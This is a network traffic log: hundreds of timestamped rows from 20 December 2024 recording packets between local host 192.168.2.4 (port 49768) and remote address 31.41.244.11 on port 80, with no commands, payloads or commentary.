Dec 20, 2024 11:12:11.938785076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.938838005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.940340996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.940392017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.940464973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.940512896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.942094088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.942143917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.942214966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.942269087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.943753958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.943790913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.943805933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.943830967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.945389032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.945425987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.945439100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.945466995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.947029114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.947093964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.947134972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.947181940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.948584080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.948633909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.948713064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.948760033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.950217962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.950270891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.950319052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.950370073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.951816082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.951870918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.951916933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.951968908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.953366041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.953424931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.953505039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.953556061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.954932928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.954982042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.955105066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.955157042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.956450939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.956507921 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.956562042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.956609011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.957971096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.958022118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.958107948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.958156109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.959646940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.959696054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.959750891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.959799051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.961011887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.961061001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.961091995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.961141109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.962513924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.962563038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.962652922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.962697029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.964025021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.964076996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.964286089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.964334011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.965447903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.965496063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.965562105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.965603113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.966943979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.966989040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.967068911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.967118025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.968595028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.968647003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.968708992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.968753099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.969922066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.969974041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.969980001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.970026016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.971791983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.971846104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.971905947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.971918106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.973217964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.973273039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.973283052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.973589897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.974411011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.974461079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.974467039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.974508047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.975876093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.975928068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.976144075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.976192951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.977360964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.977408886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.977482080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.977528095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.978837967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.978887081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.978950024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.978996038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.980313063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.980365038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.980432034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.980479002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.981810093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.981859922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.981950045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.982000113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.983284950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.983334064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.983436108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.983484983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.984782934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.984833002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.984838963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.984884024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.986280918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.986330032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.986372948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.986418962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.987822056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.987871885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.987941027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.987987041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.989269018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.989325047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.989392996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.989439011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.990700960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.990747929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.990829945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.990876913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.992208958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.992258072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.992264986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.992311001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.993690968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.993741989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.993817091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.993864059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.995177984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.995224953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.995279074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.995328903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.996643066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.996690989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.996697903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.996742964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.998133898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.998182058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.998188972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.998233080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.999665022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.999716043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.999783039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.999830961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.001113892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.001166105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.001230001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.001276016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.002643108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.002691031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.002765894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.002815962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.004091978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.004143000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.004208088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.004251003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.005610943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.005660057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.005721092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.005770922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.007030964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.007081985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.117496014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.117584944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.117587090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.117636919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.117863894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.117914915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.117985010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.118036985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.119174957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.119235039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.119267941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.119318008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.120111942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.120162010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.120377064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.120425940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.121263981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.121315002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.121396065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.121443033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.122447968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.122499943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.122558117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.122606993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.123548031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.123594046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.123601913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.123650074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.124665976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.124713898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.124778986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.124828100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.125783920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.125834942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.125926971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.125978947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.126892090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.126941919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.127002001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.127051115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.127979040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.128036976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.128118992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.128166914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.129064083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.129111052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.129175901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.129226923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.130223989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.130281925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.130382061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.130434036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.131752014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.131804943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.131807089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.131860971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.132340908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.132390022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.132468939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.132517099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.133449078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.133497953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.133574963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.133622885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.134499073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.134550095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.134614944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.134663105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.135637999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.135693073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.135715008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.135771990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.136681080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.136733055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.136781931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.136827946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.137773037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.137825012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.137902021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.137955904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.138870955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.138916016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.138933897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.138983011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.139935017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.139983892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.140048981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.140094042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.141007900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.141056061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.141122103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.141169071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.142106056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.142153025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.142160892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.142209053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.143201113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.143245935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.143331051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.143378973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.144316912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.144364119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.144490957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.144539118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.145364046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.145575047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.145637989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.146440029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.146578074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.146631002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.147537947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.147588015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.147717953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.147901058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.148647070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.148694992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.148699999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.148742914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.149719954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.149914026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.149970055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.150825024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.150901079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.150914907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.150969028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.151906967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.151963949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.152108908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.152158976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.153059959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.153112888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.153202057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.153351068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.154089928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.154135942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.154185057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.154305935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.155175924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.155230045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.155370951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.155905962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.156245947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.156295061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.156373024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.157339096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.157382011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.157418013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.158323050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.158459902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.158514023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.158571005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.159486055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.159564972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.159634113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.159678936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.160598993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.160659075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.160701990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.160754919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.161858082 CET	80	49768	31.41.244.11	192.168.2.4
